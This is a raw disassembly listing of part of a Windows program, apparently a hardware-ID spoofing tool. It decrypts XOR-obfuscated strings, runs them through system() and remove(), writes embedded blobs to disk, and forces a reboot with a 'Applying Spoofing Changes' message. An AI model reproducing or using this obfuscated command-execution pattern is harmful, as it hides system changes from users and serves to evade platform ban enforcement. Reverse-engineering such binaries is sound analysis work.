mov qword [rbp + 0x6180], rax
movabs rax, 0x6790a2227540df2b
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6188], rax
movabs rax, 0xadfe098cf27c46e9
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6190], rax
movabs rax, 0x7719294fc6c8b375
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6198], rax
movabs rax, 0x4cbecb8af34b0fe6
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x61a0], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x61a8], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5700], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5708], rax
movabs rax, 0xc62b99dcfef73711
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5710], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5718], rax
movabs rax, 0xb068a6ae8d3e2673
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5720], rax
movabs rax, 0x67fda2477522df5c
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5728], rax
movabs rax, 0xad8909f8f21246b5
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5730], rax
movabs rax, 0x777b2961c6a3b316
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5738], rax
movabs rax, 0x4cbecb8af33f0f87
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5740], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
vmovdqu ymm0, ymmword [rbp + 0x5700]
mov qword [rbp + 0x5748], rax
vpxor ymm1, ymm0, ymmword [rbp + 0x6160]
vmovdqu ymm0, ymmword [rbp + 0x5720]
vmovdqa xmm2, xmmword [rbp + 0x5740]
lea rdx, [rbp + 0x6160]
vxorps xmm2, xmm2, xmmword [rbp + 0x61a0]
lea rcx, [rbp + 0x32a0]
vmovdqa ymmword [rbp + 0x6160], ymm1
vpxor ymm1, ymm0, ymmword [rbp + 0x6180]
vmovdqa ymmword [rbp + 0x6180], ymm1
vmovdqa xmmword [rbp + 0x61a0], xmm2
vzeroupper
call fcn.140083150
mov r8d, 0x813
lea rdx, [0x14031b3a0]
lea rcx, [rbp + 0x32a0]
call fcn.14004e460
lea rcx, [rbp + 0x32a0]
call fcn.14004d700
xor eax, eax
lea rdx, [rbp + 0x3584]
lea rcx, [rbp + 0x13c]
mov byte [rbp + 0x13c], al
call fcn.140081d20
mov r10, rax
cmp byte [rax + 0x22], 0
je 0x14007a561
mov r8d, esi
cmp r15d, 2
jl 0x14007a523
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x20
jl 0x14007a430
cmp r8d, 0x23
jge 0x14007a561
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x23
jl 0x14007a530
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x35a7]
lea rcx, [rbp + 0x13d]
mov byte [rbp + 0x13d], al
call fcn.140081d20
mov r10, rax
cmp byte [rax + 0x22], 0
je 0x14007a6e1
mov r8d, esi
cmp r15d, 2
jl 0x14007a6a3
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x20
jl 0x14007a5b0
cmp r8d, 0x23
jge 0x14007a6e1
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x23
jl 0x14007a6b0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov byte [reloc.WS2_32.dll_accept], 0
cmp byte [0x14171920c], 0
je 0x14007abaa
xor eax, eax
lea rdx, [rbp + 0x5310]
lea rcx, [rbp + 0x13e]
mov byte [rbp + 0x13e], al
call fcn.140081d50
mov r10, rax
cmp word [rax + 0x48], 0
je 0x14007a875
mov r8d, esi
cmp r15d, 2
jl 0x14007a839
movdqa xmm4, xmmword [0x14025db90]
mov rcx, rax
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 0x10]
paddd xmm2, xmm11
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm8
pmuldq xmm1, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm4
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 0x10]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rcx - 0x10], xmm3
paddd xmm2, xmm11
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm4
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 8]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rcx - 8], xmm3
cmp r8d, 0x20
jl 0x14007a740
cmp r8d, 0x25
jge 0x14007a875
movsxd rax, r8d
lea r9, [r10 + rax*2]
mov eax, 0x4d4873ed
lea r9, [r9 + 2]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x35
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x37
xor word [r9 - 2], ax
cmp r8d, 0x25
jl 0x14007a840
mov rdx, r10
lea rcx, [rbp + 0x32c0]
call fcn.140083150
mov r8d, 0x60a00
lea rdx, [0x140327640]
lea rcx, [rbp + 0x32c0]
call fcn.14004e460
lea rcx, [rbp + 0x32c0]
call fcn.14004d700
xor eax, eax
lea rdx, [rbp + 0x36c8]
lea rcx, [rbp + 0x13f]
mov byte [rbp + 0x13f], al
call fcn.140081da0
mov r10, rax
cmp byte [rax + 0x24], 0
je 0x14007aa21
mov r8d, esi
cmp r15d, 2
jl 0x14007a9e3
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x20
jl 0x14007a8f0
cmp r8d, 0x25
jge 0x14007aa21
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x25
jl 0x14007a9f0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x36ed]
lea rcx, [rbp + 0x140]
mov byte [rbp + 0x140], al
call fcn.140081da0
mov r10, rax
cmp byte [rax + 0x24], 0
je 0x14007aba1
mov r8d, esi
cmp r15d, 2
jl 0x14007ab63
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x20
jl 0x14007aa70
cmp r8d, 0x25
jge 0x14007aba1
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x25
jl 0x14007ab70
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov dword [0x141718ff0], 0xd
movaps xmm12, xmm14
lea rcx, [rbp + 0x1ec0]
call fcn.14004d700
cmp dword [0x141718ff0], 0xd
jne 0x14007b03b
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x14007abee
lea rcx, str.shutdown__r__t_7__c__Applying_Spoofing__Changes__Algorithms_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [reloc.WS2_32.dll_accept], 0
call fcn.140017830
cmp dword [0x141718ff0], 0xd
movss xmm2, dword [rax + 0x10]
mulss xmm2, dword [0x14025d874]
jne 0x14007ac13
movss xmm1, dword [0x14025d928]
jmp 0x14007ac17
movaps xmm1, xmm14
movss xmm0, dword [0x141719208]
call fcn.140084150
movss dword [0x141719208], xmm0
call fcn.140021b00
movss xmm1, dword [0x14025d7fc]
lea rcx, [0x141719288]
mov rdi, rax
call fcn.140013860
movsd xmm0, qword [0x141715d40]
lea rdx, [rbp + 0x758]
movss xmm7, dword [0x14025d860]
lea rcx, [rbp + 0x760]
movss xmm6, dword [0x141719208]
movaps xmm2, xmm7
movsd qword [rbp + 0x758], xmm0
mov ebx, eax
call fcn.14004d510
mov r8, rax
lea rdx, [rbp + 0x178]
lea rcx, [rbp + 0x768]
call fcn.14004d530
movss xmm0, dword [0x14025d87c]
mov r9d, ebx
movss dword [rsp + 0x28], xmm0
movaps xmm2, xmm6
mov rdx, rax
mov dword [rsp + 0x20], 0x64
mov rcx, rdi
call fcn.140032e80
call fcn.140021b00
movss xmm1, dword [0x14025d814]
lea rcx, [0x141719288]
mov rdi, rax
call fcn.140013860
movsd xmm0, qword [0x141715d40]
lea rdx, [rbp + 0x770]
movss xmm6, dword [0x141719208]
lea rcx, [rbp + 0x778]
movaps xmm2, xmm7
movsd qword [rbp + 0x770], xmm0
mov ebx, eax
mulss xmm6, xmm7
call fcn.14004d510
mov r8, rax
lea rdx, [rbp + 0x178]
lea rcx, [rbp + 0x780]
call fcn.14004d530
movss xmm0, dword [0x14025d87c]
mov r9d, ebx
movss dword [rsp + 0x28], xmm0
movaps xmm2, xmm6
mov rdx, rax
mov dword [rsp + 0x20], 0x64
mov rcx, rdi
call fcn.140032e80
call fcn.140021b00
movss xmm1, dword [0x14025d844]
lea rcx, [0x141719288]
mov rdi, rax
call fcn.140013860
movsd xmm0, qword [0x141715d40]
lea rdx, [rbp + 0x788]
movss xmm6, dword [0x141719208]
lea rcx, [rbp + 0x790]
mulss xmm6, dword [0x14025d874]
movaps xmm2, xmm7
mov ebx, eax
movsd qword [rbp + 0x788], xmm0
call fcn.14004d510
mov r8, rax
lea rdx, [rbp + 0x178]
lea rcx, [rbp + 0x798]
call fcn.14004d530
movss xmm0, dword [0x14025d87c]
mov r9d, ebx
movss dword [rsp + 0x28], xmm0
movaps xmm2, xmm6
mov rdx, rax
mov dword [rsp + 0x20], 0x64
mov rcx, rdi
call fcn.140032e80
call fcn.140021b00
movss xmm1, dword [0x14025d844]
lea rcx, [0x141719288]
mov rdi, rax
call fcn.140013860
movsd xmm0, qword [0x141715d40]
lea rdx, [rbp + 0x7a0]
movss xmm6, dword [0x141719208]
lea rcx, [rbp + 0x7a8]
mulss xmm6, dword [0x14025d87c]
movaps xmm2, xmm7
mov ebx, eax
movsd qword [rbp + 0x7a0], xmm0
call fcn.14004d510
mov r8, rax
lea rdx, [rbp + 0x178]
lea rcx, [rbp + 0x7b0]
call fcn.14004d530
movss xmm0, dword [0x14025d87c]
mov r9d, ebx
movss dword [rsp + 0x28], xmm0
movaps xmm2, xmm6
mov rdx, rax
mov dword [rsp + 0x20], 0x64
mov rcx, rdi
call fcn.140032e80
call fcn.140021b00
movss xmm1, dword [0x14025d844]
lea rcx, [0x141719288]
mov rsi, rax
call fcn.140013860
movss xmm6, dword [0x14025d8bc]
lea rcx, [rbp + 0x7b8]
movaps xmm2, xmm6
movaps xmm1, xmm14
mov edi, eax
call fcn.1400105e0
movss xmm0, dword [0x14025da2c]
lea rdx, str.Machine_Virtualized_Succesfully_
xor r9d, r9d
movss dword [rsp + 0x20], xmm0
xor r8d, r8d
lea rcx, [rbp + 0x7c0]
mov rbx, rax
call fcn.14001ab70
movsd xmm0, qword [0x141715d40]
lea rdx, [rbp + 0x7c8]
mov r8, rax
movsd qword [rbp + 0x7c8], xmm0
lea rcx, [rbp + 0x7d0]
call fcn.14004d560
mov r8, rbx
lea rcx, [rbp + 0x7d8]
mov rdx, rax
call fcn.14004d560
mov rdx, rax
lea rcx, [rbp + 0x7e0]
movaps xmm2, xmm7
call fcn.14004d510
mov r8, rax
lea rdx, [rbp + 0x178]
lea rcx, [rbp + 0x7e8]
call fcn.14004d530
xor r14d, r14d
lea r9, str.Machine_Virtualized_Succesfully_
mov r8d, edi
mov qword [rsp + 0x20], r14
mov rdx, rax
mov rcx, rsi
call fcn.1400330a0
call fcn.140021b00
movss xmm1, dword [0x14025d7fc]
lea rcx, [0x141719288]
mov rsi, rax
call fcn.140013860
movaps xmm2, xmm6
lea rcx, [rbp + 0x7f0]
movaps xmm1, xmm14
mov edi, eax
call fcn.1400105e0
mov rbx, rax
movss xmm0, dword [0x14025da2c]
lea rdx, str.Restart_PC_To_Apply_Changes
xor r9d, r9d
movss dword [rsp + 0x20], xmm0
xor r8d, r8d
lea rcx, [rbp + 0x7f8]
call fcn.14001ab70
movsd xmm0, qword [0x141715d40]
lea rdx, [rbp + 0x800]
mov r8, rax
movsd qword [rbp + 0x800], xmm0
lea rcx, [rbp + 0x808]
call fcn.14004d560
mov r8, rbx
lea rcx, [rbp + 0x810]
mov rdx, rax
call fcn.14004d530
mov rdx, rax
lea rcx, [rbp + 0x818]
movaps xmm2, xmm7
call fcn.14004d510
mov r8, rax
lea rdx, [rbp + 0x178]
lea rcx, [rbp + 0x820]
call fcn.14004d530
lea r9, str.Restart_PC_To_Apply_Changes
mov qword [rsp + 0x20], r14
mov r8d, edi
mov rdx, rax
mov rcx, rsi
call fcn.1400330a0
movss xmm0, dword [0x141719208]
comiss xmm0, dword [0x14025d924]
jbe 0x14007b03e
mov dword [0x141719208], r14d
jmp 0x14007b03e
xor r14d, r14d
cmp dword [0x141718ff0], 0xf
jne 0x14007bfe7
movss xmm2, dword [0x14025d948]
lea rcx, [rbp + 0x828]
movss xmm1, dword [0x14025d99c]
addss xmm12, dword [0x14025d844]
call fcn.1400105e0
mov rcx, rax
call fcn.1400257f0
mov edx, 0xff
mov dword [rsp + 0x20], r14d
mov r9d, edx
lea rcx, [rbp + 0x1660]
mov r8d, edx
call fcn.14003a610
mov r9d, 0xff
mov dword [rsp + 0x20], 0xff
xor r8d, r8d
lea rcx, [rbp + 0x1670]
mov edx, 0x64
mov rbx, rax
call fcn.14003a610
movss xmm2, dword [0x14025d88c]
mov r9, rax
movss xmm1, dword [0x14025d8c0]
xor eax, eax
mov byte [rbp], al
movabs rdi, 0x390bddb1307ce28
mov byte [rbp], al
movabs rsi, 0x345d3d328cb40b7f
mov byte [rbp], al
movabs rax, 0x343a535be8d56433
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1680], rcx
mov qword [rbp + 0x10], rdi
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1688], rcx
lea rcx, [rbp + 0x1680]
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1690], rax
mov dword [rsp + 0x38], r14d
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x1680]
mov qword [rbp + 0x1698], rax
xorps xmm0, xmmword [rbp + 0x1690]
movdqa xmmword [rbp + 0x1680], xmm0
movss xmm0, dword [0x14025d884]
movss dword [rsp + 0x30], xmm0
movss xmm0, dword [0x14025d898]
movss dword [rsp + 0x28], xmm0
mov qword [rsp + 0x20], rbx
call fcn.14004c4e0
movss xmm2, dword [0x14025d964]
lea rcx, [rbp + 0x830]
movss xmm1, dword [0x14025d97c]
call fcn.1400105e0
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x16a0]
mov r8d, edx
movss xmm6, dword [rax]
movss xmm7, dword [rax + 4]
call fcn.14003a610
movups xmm2, xmmword [rax]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x53335454e3db7b2c
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x32e0], rax
movabs rax, 0x67f5c9a972739d08
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x32e8], rax
movabs rax, 0xc62b99dcfef7371b
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
movss xmm3, dword [0x14025d854]
lea r8, [rbp + 0x10]
mov qword [rbp + 0x32f0], rax
lea rdx, [rbp + 0x32e0]
movabs rbx, 0x1a9edca541b99752
unpcklps xmm6, xmm7
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x32f8], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3300], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3308], rax
movabs rax, 0xc62b99dcfef73711
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3310], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov rcx, qword [0x141718fd8]
mov qword [rbp + 0x3318], rax
vmovdqu ymm0, ymmword [rbp + 0x3300]
vpxor ymm1, ymm0, ymmword [rbp + 0x32e0]
vmovss xmm0, dword [0x14025d8c4]
vmovss dword [rsp + 0x28], xmm0
vmovsd qword [rsp + 0x20], xmm6
vmovdqa ymmword [rbp + 0x32e0], ymm1
vmovdqa xmmword [rbp + 0x10], xmm2
vzeroupper
call fcn.140052c20
lea rdx, str.DTC_Restore_Point
lea rcx, [rbp + 0x3320]
call fcn.140083150
comiss xmm12, dword [0x14025d9f4]
jbe 0x14007b2f5
lea rcx, [rbp + 0x3320]
call fcn.140050c10
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x340a3d6e8c8e0b3c
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x61c0], rax
movabs rax, 0x3ffbdbf1369ce41
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x61c8], rax
movabs rax, 0xc6789980fe843766
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x61d0], rax
movabs rax, 0x1afbdcd141ca972b
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x61d8], rax
movabs rax, 0xb034a69c8d0d261e
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x61e0], rax
movabs rax, 0x6790a2227540df2b
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x61e8], rax
movabs rax, 0xade60995f24146e9
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x61f0], rax
movabs rax, 0x773e2919c6cab350
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x61f8], rax
movabs rax, 0x4c90cbbef3090fef
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6200], rax
movabs rax, 0x959974b64b4b49d5
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6208], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5760], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5768], rax
movabs rax, 0xc62b99dcfef73711
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5770], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5778], rax
movabs rax, 0xb068a6ae8d3e2673
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5780], rax
movabs rax, 0x67fda2477522df5c
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5788], rax
movabs rax, 0xad8909f8f21246b5
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5790], rax
movabs rax, 0x777b2961c6a3b316
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5798], rax
movabs rax, 0x4cbecb8af33f0f87
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x57a0], rax
movabs rax, 0x959974d34b3349b0
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x57a8], rax
vmovdqu ymm0, ymmword [rbp + 0x5760]
vpxor ymm1, ymm0, ymmword [rbp + 0x61c0]
vmovdqa xmm2, xmmword [rbp + 0x6200]
lea rdx, [rbp + 0x61c0]
vmovdqu ymm0, ymmword [rbp + 0x5780]
vxorps xmm2, xmm2, xmmword [rbp + 0x57a0]
lea rcx, [rbp + 0x3340]
vmovdqa ymmword [rbp + 0x61c0], ymm1
vpxor ymm1, ymm0, ymmword [rbp + 0x61e0]
vmovdqa ymmword [rbp + 0x61e0], ymm1
vmovdqa xmmword [rbp + 0x6200], xmm2
vzeroupper
call fcn.140083150
mov r8d, 0x1119e00
lea rdx, [0x140473680]
lea rcx, [rbp + 0x3340]
call fcn.14004e460
lea rcx, [rbp + 0x3340]
call fcn.14004d700
xor eax, eax
movabs rcx, 0x67fda2477522df5c
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x5b39535bdbe8313c
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4dc0], rax
movabs rax, 0x66e4cea2405bbd5f
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4dc8], rax
movabs rax, 0xab4efbaba2c5047c
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4dd0], rax
movabs rax, 0x5fe6b5e32ed4c40e
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4dd8], rax
movabs rax, 0xb00ddecba30a101b
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4de0], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4de8], rax
